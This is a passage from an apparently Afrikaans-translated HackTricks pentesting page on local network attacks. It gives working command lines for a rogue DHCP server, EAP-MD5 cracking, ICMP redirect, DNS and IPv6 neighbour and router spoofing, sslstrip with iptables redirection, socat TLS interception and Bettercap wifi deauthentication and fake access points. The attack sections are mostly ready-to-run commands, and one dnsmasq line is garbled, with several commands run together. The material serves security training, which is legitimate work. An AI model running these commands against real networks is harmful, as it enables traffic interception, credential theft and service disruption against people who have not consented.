- **Netmask van Plaaslike Netwerk**: Gebruik `-n 255.255.255.0` om die netmask vir die plaaslike netwerk te definieer.
- **Koppelvlak vir DHCP-verkeer**: Gebruik `-I eth1` om na DHCP-verkeer op 'n spesifieke netwerk-koppelvlak te luister.
- **WPAD Konfigurasie Adres**: Gebruik `-w “http://10.0.0.100/wpad.dat”` om die adres vir WPAD-konfigurasie in te stel, wat help met webverkeer onderskep.
- **Spoof Standaard Gateway IP**: Sluit `-S` in om die standaard gateway IP-adres te spoof.
- **Reageer op Alle DHCP Versoeke**: Sluit `-R` in om die bediener te laat reageer op alle DHCP versoeke, maar wees bewus dat dit lawaaierig is en opgespoor kan word.
Deur hierdie opsies korrek te gebruik, kan 'n rogue DHCP-bediener gevestig word om netwerkverkeer effektief te onderskep.
<div class="codeblock_filename_container"><span class="codeblock_filename_inner hljs">python</span></div>
```python
# Example to start a rogue DHCP server with specified options
!python /usr/share/responder/DHCP.py -i 10.0.0.100 -d example.org -r 10.0.0.1 -p 10.0.0.100 -s 10.0.0.1 -n 255.255.255.0 -I eth1 -w "http://10.0.0.100/wpad.dat" -S -R
```
### **EAP-aanvalle**
Hier is 'n paar van die aanvalstaktieke wat teen 802.1X-implementasies gebruik kan word:
- Aktiewe brute-force wagwoordgrinding via EAP
- Aanval op die RADIUS-bediener met misvormde EAP-inhoud _\*\*_(exploits)
- EAP-boodskapvangs en offline wagwoordkraking (EAP-MD5 en PEAP)
- Dwing EAP-MD5-sertifisering om TLS-sertifikaatvalidasie te omseil
- Inspuit van kwaadwillige netwerkverkeer tydens autentisering met 'n hub of soortgelyk
As die aanvaller tussen die slagoffer en die autentiseringsbediener is, kan hy probeer om (indien nodig) die autentiseringsprotokol na EAP-MD5 te degradeer en die autentiseringstoets te vang. Dan kan hy dit brute-force met:
```
eapmd5pass –r pcap.dump –w /usr/share/wordlist/sqlmap.txt
```
### FHRP (GLBP & HSRP) Aanvalle <a href="#id-6196" id="id-6196"></a>
**FHRP** (First Hop Redundancy Protocol) is 'n klas van netwerkprotokolle wat ontwerp is om **'n warm redundante routeringstelsel** te skep. Met FHRP kan fisiese routers gekombineer word in 'n enkele logiese toestel, wat fouttoleransie verhoog en help om die las te versprei.
**Cisco Systems ingenieurs het twee FHRP protokolle, GLBP en HSRP, ontwikkel.**
<a class="content_ref" href="glbp-and-hsrp-attacks.md"><span class="content_ref_label">GLBP & HSRP Attacks</span></a>
### RIP
Drie weergawes van die Routing Information Protocol (RIP) is bekend: RIP, RIPv2, en RIPng. Datagrams word na peers gestuur via poort 520 met behulp van UDP deur RIP en RIPv2, terwyl datagrams gebroadcast word na UDP poort 521 via IPv6 multicast deur RIPng. Ondersteuning vir MD5-outeentifikasie is deur RIPv2 bekendgestel. Aan die ander kant is native outeentifikasie nie deur RIPng ingesluit nie; eerder word daar staatgemaak op opsionele IPsec AH en ESP koppe binne IPv6.
- **RIP en RIPv2:** Kommunikasie word gedoen deur UDP datagrams op poort 520.
- **RIPng:** Gebruik UDP poort 521 vir die broadcasting van datagrams via IPv6 multicast.
Let daarop dat RIPv2 MD5-outeentifikasie ondersteun terwyl RIPng nie native outeentifikasie insluit nie, en staatmaak op IPsec AH en ESP koppe in IPv6.
### EIGRP Aanvalle
**EIGRP (Enhanced Interior Gateway Routing Protocol)** is 'n dinamiese routeringprotokol. **Dit is 'n afstands-vektor protokol.** As daar **geen outeentifikasie** en konfigurasie van passiewe interfaces is nie, kan 'n **indringer** inmeng met EIGRP routering en **routeringstabelle vergiftig**. Boonop is die EIGRP netwerk (met ander woorde, outonome stelsel) **plat en het geen segmentasie in enige sones nie**. As 'n **aanvaller 'n roete inspuit**, is dit waarskynlik dat hierdie roete sal **versprei** deur die outonome EIGRP stelsel.
Om 'n EIGRP stelsel aan te val, vereis **die vestiging van 'n buur met 'n wettige EIGRP router**, wat 'n baie moontlikhede oopmaak, van basiese verkenning tot verskeie inspuitings.
[**FRRouting**](https://frrouting.org/) laat jou toe om **'n virtuele router te implementeer wat BGP, OSPF, EIGRP, RIP en ander protokolle ondersteun.** Al wat jy hoef te doen is om dit op jou aanvaller se stelsel te ontplooi en jy kan eintlik voorgee om 'n wettige router in die routering domein te wees.
<a class="content_ref" href="eigrp-attacks.md"><span class="content_ref_label">EIGRP Attacks</span></a>
[**Coly**](https://code.google.com/p/coly/) het vermoëns om EIGRP (Enhanced Interior Gateway Routing Protocol) uitsendings te onderskep. Dit laat ook die inspuiting van pakkette toe, wat gebruik kan word om routering konfigurasies te verander.
### OSPF
In die Open Shortest Path First (OSPF) protokol **word MD5-outeentifikasie algemeen gebruik om veilige kommunikasie tussen routers te verseker**. Hierdie sekuriteitsmaatreël kan egter gecompromitteer word met behulp van gereedskap soos Loki en John the Ripper. Hierdie gereedskap is in staat om MD5-hashes te vang en te kraak, wat die outeentifikasiesleutel blootstel. Sodra hierdie sleutel verkry is, kan dit gebruik word om nuwe routeringinligting in te voer. Om die roeteparameters te konfigureer en die gecompromitteerde sleutel te vestig, word die _Injection_ en _Connection_ oortjies gebruik, onderskeidelik.
- **Vang en Kraak MD5 Hashes:** Gereedskap soos Loki en John the Ripper word vir hierdie doel gebruik.
- **Konfigurasie van Roeteparameters:** Dit word deur die _Injection_ oortjie gedoen.
- **Stel die Gecompromitteerde Sleutel:** Die sleutel word onder die _Connection_ oortjie geconfigureer.
### Ander Generiese Gereedskap & Bronne
- [**Above**](https://github.com/c4s73r/Above): Gereedskap om netwerkverkeer te skandeer en kwesbaarhede te vind
- Jy kan **meer inligting oor netwerkaanvalle** [**hier**](https://github.com/Sab0tag3d/MITM-cheatsheet) vind.
## **Spoofing**
Die aanvaller konfigureer al die netwerkparameters (GW, IP, DNS) van die nuwe lid van die netwerk deur vals DHCP-antwoorde te stuur.
<div class="codeblock_filename_container"><span class="codeblock_filename_inner hljs">bash</span></div>
```bash
Ettercap
yersinia dhcp -attack 2 #More parameters are needed
```
### ARP Spoofing
Kyk na die [vorige afdeling](#arp-spoofing).
### ICMPRedirect
ICMP Redirect bestaan uit die stuur van 'n ICMP-pakket tipe 1 kode 5 wat aandui dat die aanvaller die beste manier is om 'n IP te bereik. Dan, wanneer die slagoffer die IP wil kontak, sal dit die pakket deur die aanvaller stuur.
<div class="codeblock_filename_container"><span class="codeblock_filename_inner hljs">bash</span></div>
```bash
Ettercap
icmp_redirect
hping3 [VICTIM IP ADDRESS] -C 5 -K 1 -a [VICTIM DEFAULT GW IP ADDRESS] --icmp-gw [ATTACKER IP ADDRESS] --icmp-ipdst [DST IP ADDRESS] --icmp-ipsrc [VICTIM IP ADDRESS] #Send icmp to [1] form [2], route to [3] packets sent to [4] from [5]
```
### DNS Spoofing
Die aanvaller sal sommige (of al) die domeine wat die slagoffer vra, oplos.
<div class="codeblock_filename_container"><span class="codeblock_filename_inner hljs">bash</span></div>
```bash
set dns.spoof.hosts ./dns.spoof.hosts; dns.spoof on
```
**Stel eie DNS met dnsmasq in**
<div class="codeblock_filename_container"><span class="codeblock_filename_inner hljs">bash</span></div>
```bash
apt-get install dnsmasqecho "addn-hosts=dnsmasq.hosts" > dnsmasq.conf #Create dnsmasq.confecho "127.0.0.1 domain.example.com" > dnsmasq.hosts #Domains in dnsmasq.hosts will be the domains resolved by the Dsudo dnsmasq -C dnsmasq.conf --no-daemon
dig @localhost domain.example.com # Test the configured DNS
```
### Plaaslike Poorte
Meerdere roetes na stelsels en netwerke bestaan dikwels. Wanneer 'n lys van MAC-adresse binne die plaaslike netwerk opgestel word, gebruik _gateway-finder.py_ om gasheer te identifiseer wat IPv4-oorplasing ondersteun.
```
root@kali:~# git clone https://github.com/pentestmonkey/gateway-finder.git
root@kali:~# cd gateway-finder/
root@kali:~# arp-scan -l | tee hosts.txt
Interface: eth0, datalink type: EN10MB (Ethernet)
Starting arp-scan 1.6 with 256 hosts (http://www.nta-monitor.com/tools/arp-scan/)
10.0.0.100 00:13:72:09:ad:76 Dell Inc.
10.0.0.200 00:90:27:43:c0:57 INTEL CORPORATION
10.0.0.254 00:08:74:c0:40:ce Dell Computer Corp.
root@kali:~/gateway-finder# ./gateway-finder.py -f hosts.txt -i 209.85.227.99
gateway-finder v1.0 http://pentestmonkey.net/tools/gateway-finder
[+] Using interface eth0 (-I to change)
[+] Found 3 MAC addresses in hosts.txt
[+] We can ping 209.85.227.99 via 00:13:72:09:AD:76 [10.0.0.100]
[+] We can reach TCP port 80 on 209.85.227.99 via 00:13:72:09:AD:76 [10.0.0.100]
```
### [Spoofing LLMNR, NBT-NS, and mDNS](spoofing-llmnr-nbt-ns-mdns-dns-and-wpad-and-relay-attacks.md)
Vir plaaslike gasheeroplossing wanneer DNS-opsoeke onsuksesvol is, staat Microsoft-stelsels op **Link-Local Multicast Name Resolution (LLMNR)** en die **NetBIOS Name Service (NBT-NS)**. Op soortgelyke wyse gebruik **Apple Bonjour** en **Linux zero-configuration** implementasies **Multicast DNS (mDNS)** om stelsels binne 'n netwerk te ontdek. Vanweë die nie-geverifieerde aard van hierdie protokolle en hul werking oor UDP, wat boodskappe uitsaai, kan dit deur aanvallers uitgebuit word wat daarop gemik is om gebruikers na kwaadwillige dienste te herlei.
Jy kan dienste wat deur gashere gesoek word, naboots deur Responder te gebruik om vals antwoorde te stuur.\
Lees hier meer inligting oor [hoe om dienste te naboots met Responder](spoofing-llmnr-nbt-ns-mdns-dns-and-wpad-and-relay-attacks.md).
### [Spoofing WPAD](spoofing-llmnr-nbt-ns-mdns-dns-and-wpad-and-relay-attacks.md)
Browers gebruik algemeen die **Web Proxy Auto-Discovery (WPAD) protokol om outomaties proxy-instellings te verkry**. Dit behels die verkryging van konfigurasiedetails van 'n bediener, spesifiek deur 'n URL soos "http://wpad.example.org/wpad.dat". Die ontdekking van hierdie bediener deur die kliënte kan deur verskeie meganismes plaasvind:
- Deur **DHCP**, waar die ontdekking gefasiliteer word deur 'n spesiale kode 252 inskrywing te gebruik.
- Deur **DNS**, wat behels om te soek na 'n gasheernaam met die etiket _wpad_ binne die plaaslike domein.
- Deur **Microsoft LLMNR en NBT-NS**, wat terugvalmeganismes is wat gebruik word in gevalle waar DNS-opsoeke nie slaag nie.
Die hulpmiddel Responder maak voordeel van hierdie protokol deur as 'n **kwaadwillige WPAD-bediener** op te tree. Dit gebruik DHCP, DNS, LLMNR, en NBT-NS om kliënte te mislei om met dit te verbind. Om dieper in te duik in hoe dienste met Responder naboots kan word, [kyk hier](spoofing-llmnr-nbt-ns-mdns-dns-and-wpad-and-relay-attacks.md).
### [Spoofing SSDP and UPnP devices](spoofing-ssdp-and-upnp-devices.md)
Jy kan verskillende dienste in die netwerk aanbied om te probeer om **'n gebruiker te mislei** om sekere **planktekst geloofsbriewe** in te voer. **Meer inligting oor hierdie aanval in** [**Spoofing SSDP and UPnP Devices**](spoofing-ssdp-and-upnp-devices.md)**.**
### IPv6 Neighbor Spoofing
Hierdie aanval is baie soortgelyk aan ARP Spoofing, maar in die IPv6-wêreld. Jy kan die slagoffer laat dink dat die IPv6 van die GW die MAC van die aanvaller het.
<div class="codeblock_filename_container"><span class="codeblock_filename_inner hljs">bash</span></div>
```bash
sudo parasite6 -l eth0 # This option will respond to every requests spoofing the address that was requested
sudo fake_advertise6 -r -w 2 eth0 <Router_IPv6> #This option will send the Neighbor Advertisement packet every 2 seconds
```
### IPv6 Router Advertisement Spoofing/Flooding
Sommige OS konfigureer standaard die gateway vanaf die RA-pakkette wat in die netwerk gestuur word. Om die aanvaller as 'n IPv6-router te verklaar, kan jy gebruik maak van:
<div class="codeblock_filename_container"><span class="codeblock_filename_inner hljs">bash</span></div>
```bash
sysctl -w net.ipv6.conf.all.forwarding=1 4
ip route add default via <ROUTER_IPv6> dev wlan0
fake_router6 wlan0 fe80::01/16
```
### IPv6 DHCP spoofing
Deur standaard probeer sommige OS om die DNS te konfigureer deur 'n DHCPv6-pakket in die netwerk te lees. Dan kan 'n aanvaller 'n DHCPv6-pakket stuur om homself as DNS te konfigureer. Die DHCP bied ook 'n IPv6 aan die slagoffer.
<div class="codeblock_filename_container"><span class="codeblock_filename_inner hljs">bash</span></div>
```bash
dhcp6.spoof on
dhcp6.spoof.domains <list of domains>
mitm6
```
### HTTP (valse bladsy en JS kode-inspuiting)
## Internet Aanvalle
### sslStrip
Basies wat hierdie aanval doen, is, in die geval dat die **gebruiker** probeer om 'n **HTTP** bladsy te **benader** wat na die **HTTPS** weergawe **herlei**. **sslStrip** sal 'n **HTTP verbinding met** die **klient** en 'n **HTTPS verbinding met** die **bediener** **onderhou** sodat dit in staat sal wees om die verbinding in **plank teks** te **sniff**.
<div class="codeblock_filename_container"><span class="codeblock_filename_inner hljs">bash</span></div>
```bash
apt-get install sslstrip
sslstrip -w /tmp/sslstrip.log --all - l 10000 -f -k
#iptables --flush
#iptables --flush -t nat
iptables -t nat -A PREROUTING -p tcp --destination-port 80 -j REDIRECT --to-port 10000
iptables -A INPUT -p tcp --destination-port 10000 -j ACCEPT
```
Meer inligting [hier](https://www.blackhat.com/presentations/bh-dc-09/Marlinspike/BlackHat-DC-09-Marlinspike-Defeating-SSL.pdf).
### sslStrip+ en dns2proxy vir die omseiling van HSTS
Die **verskil** tussen **sslStrip+ en dns2proxy** teenoor **sslStrip** is dat hulle **omlei** byvoorbeeld _**www.facebook.com**_ **na** _**wwww.facebook.com**_ (let op die **extra** "**w**") en die **adres van hierdie domein as die aanvaller se IP** sal stel. Op hierdie manier sal die **klient** met _**wwww.facebook.com**_ **(die aanvaller)** **verbinde**, maar agter die skerms sal **sslstrip+** die **werklike verbinding** via https met **www.facebook.com** **onderhou**.
Die **doel** van hierdie tegniek is om **HSTS te vermy** omdat _**wwww**.facebook.com_ **nie** in die **kas** van die blaaiers gestoor sal word nie, so die blaaiers sal mislei word om **facebook-akkreditering in HTTP** uit te voer.\
Let daarop dat om hierdie aanval uit te voer, die slagoffer aanvanklik moet probeer om toegang te verkry tot [http://www.faceook.com](http://www.faceook.com) en nie https nie. Dit kan gedoen word deur die skakels binne 'n http-bladsy te wysig.
Meer inligting [hier](https://www.bettercap.org/legacy/#hsts-bypass), [hier](https://www.slideshare.net/Fatuo__/offensive-exploiting-dns-servers-changes-blackhat-asia-2014) en [hier](https://security.stackexchange.com/questions/91092/how-does-bypassing-hsts-with-sslstrip-work-exactly).
**sslStrip of sslStrip+ werk nie meer nie. Dit is omdat daar HSTS-reëls in die blaaiers gestoor is, so selfs al is dit die eerste keer dat 'n gebruiker toegang tot 'n "belangrike" domein verkry, sal hy dit via HTTPS benader. Let ook daarop dat die gestoor reëls en ander gegenereerde reëls die vlag** [**`includeSubdomains`**](https://hstspreload.appspot.com) **kan gebruik, so die** _**wwww.facebook.com**_ **voorbeeld van voor sal nie meer werk nie, aangesien** _**facebook.com**_ **HSTS met `includeSubdomains` gebruik.**
TODO: easy-creds, evilgrade, metasploit, factory
## TCP luister op poort
<div class="codeblock_filename_container"><span class="codeblock_filename_inner hljs">bash</span></div>
```bash
sudo nc -l -p 80
socat TCP4-LISTEN:80,fork,reuseaddr -
```
## TCP + SSL luister op poort
#### Genereer sleutels en self-signed sertifikaat
```
FILENAME=server
# Generate a public/private key pair:
openssl genrsa -out $FILENAME.key 1024
# Generate a self signed certificate:
openssl req -new -key $FILENAME.key -x509 -sha256 -days 3653 -out $FILENAME.crt
# Generate the PEM file by just appending the key and certificate files:
cat $FILENAME.key $FILENAME.crt >$FILENAME.pem
```
#### Luister met behulp van sertifikaat
```
sudo socat -v -v openssl-listen:443,reuseaddr,fork,cert=$FILENAME.pem,cafile=$FILENAME.crt,verify=0 -
```
#### Luister met behulp van 'n sertifikaat en herlei na die gasheer
```
sudo socat -v -v openssl-listen:443,reuseaddr,fork,cert=$FILENAME.pem,cafile=$FILENAME.crt,verify=0 openssl-connect:[SERVER]:[PORT],verify=0
```
Soms, as die kliënt nagaan dat die CA 'n geldige een is, kan jy **'n sertifikaat van 'n ander hostname wat deur 'n CA onderteken is, bedien**.\
'n Ander interessante toets is om **'n sertifikaat van die versoekte hostname maar self-onderteken** te bedien.
Ander dinge om te toets, is om te probeer om die sertifikaat te onderteken met 'n geldige sertifikaat wat nie 'n geldige CA is nie. Of om die geldige publieke sleutel te gebruik, te dwing om 'n algoritme soos diffie hellman te gebruik (een wat nie enige iets met die werklike private sleutel hoef te ontsleutel nie) en wanneer die kliënt 'n proef van die werklike private sleutel versoek (soos 'n hash) 'n vals proef te stuur en te verwag dat die kliënt dit nie nagaan nie.
## Bettercap
<div class="codeblock_filename_container"><span class="codeblock_filename_inner hljs">bash</span></div>
```bash
# Events
events.stream off #Stop showing events
events.show #Show all events
events.show 5 #Show latests 5 events
events.clear
# Ticker (loop of commands)
set ticker.period 5; set ticker.commands "wifi.deauth DE:AD:BE:EF:DE:AD"; ticker on
# Caplets
caplets.show
caplets.update
# Wifi
wifi.recon on
wifi.deauth BSSID
wifi.show
# Fake wifi
set wifi.ap.ssid Banana
set wifi.ap.bssid DE:AD:BE:EF:DE:AD
set wifi.ap.channel 5
set wifi.ap.encryption false #If true, WPA2
wifi.recon on; wifi.ap
```
### Aktiewe Ontdekking Aantekeninge
Hou in gedagte dat wanneer 'n UDP-pakket na 'n toestel gestuur word wat nie die versoekte poort het nie, 'n ICMP (Port Unreachable) gestuur word.
### **ARP ontdekking**
ARP-pakkette word gebruik om te ontdek watter IP's binne die netwerk gebruik word. Die rekenaar moet 'n versoek vir elke moontlike IP-adres stuur en slegs diegene wat gebruik word, sal antwoordgee.
### **mDNS (multicast DNS)**
Bettercap stuur 'n MDNS versoek (elke X ms) wat vra vir **\_services\_.dns-sd.\_udp.local**. Die masjien wat hierdie pakket sien, antwoord gewoonlik op hierdie versoek. Dan soek dit net vir masjiene wat op "services" antwoordgee.
**Gereedskap**
- Avahi-browser (--all)
- Bettercap (net.probe.mdns)
- Responder
### **NBNS (NetBios Naam Bediener)**
Bettercap stuur uitsendings na poort 137/UDP en vra vir die naam "CKAAAAAAAAAAAAAAAAAAAAAAAAAAA".
### **SSDP (Simple Service Discovery Protocol)**
Bettercap stuur SSDP-pakkette uit en soek vir alle soorte dienste (UDP Poort 1900).
### **WSD (Web Service Discovery)**
Bettercap stuur WSD-pakkette uit en soek vir dienste (UDP Poort 3702).
## Verwysings
- [https://medium.com/@in9uz/cisco-nightmare-pentesting-cisco-networks-like-a-devil-f4032eb437b9](https://medium.com/@in9uz/cisco-nightmare-pentesting-cisco-networks-like-a-devil-f4032eb437b9)
- **Netwerk Sekuriteits Assessering: Ken Jou Netwerk (3de uitgawe)**
- **Praktiese IoT Hacking: Die Definitiewe Gids om die Internet van Dinge aan te val. Deur Fotios Chantzis, Ioannis Stais, Paulino Calderon, Evangelos Deirmentzoglou, Beau Wood**
- [https://medium.com/@cursedpkt/cisco-nightmare-pentesting-cisco-networks-like-a-devil-f4032eb437b9](https://medium.com/@cursedpkt/cisco-nightmare-pentesting-cisco-networks-like-a-devil-f4032eb437b9)
<div class="mdbook-alerts mdbook-alerts-tip">
<p class="mdbook-alerts-title">
<span class="mdbook-alerts-icon"></span>
tip
</p>
Leer & oefen AWS Hacking:<img src="../../../../../images/arte.png" alt="" style="width:auto;height:24px;vertical-align:middle;">[**HackTricks Training AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)<img src="../../../../../images/arte.png" alt="" style="width:auto;height:24px;vertical-align:middle;">\
Leer & oefen GCP Hacking: <img src="../../../../../images/grte.png" alt="" style="width:auto;height:24px;vertical-align:middle;">[**HackTricks Training GCP Red Team Expert (GRTE)**](https://training.hacktricks.xyz/courses/grte)<img src="../../../../../images/grte.png" alt="" style="width:auto;height:24px;vertical-align:middle;">
<details>
<summary>Ondersteun HackTricks</summary>
- Kyk na die [**subskripsie planne**](https://github.com/sponsors/carlospolop)!
- **Sluit aan by die** 💬 [**Discord groep**](https://discord.gg/hRep4RUj7f) of die [**telegram groep**](https://t.me/peass) of **volg** ons op **Twitter** 🐦 [**@hacktricks_live**](https://twitter.com/hacktricks_live)**.**
- **Deel hacking truuks deur PRs in te dien na die** [**HackTricks**](https://github.com/carlospolop/hacktricks) en [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github repos.
</details>
</div>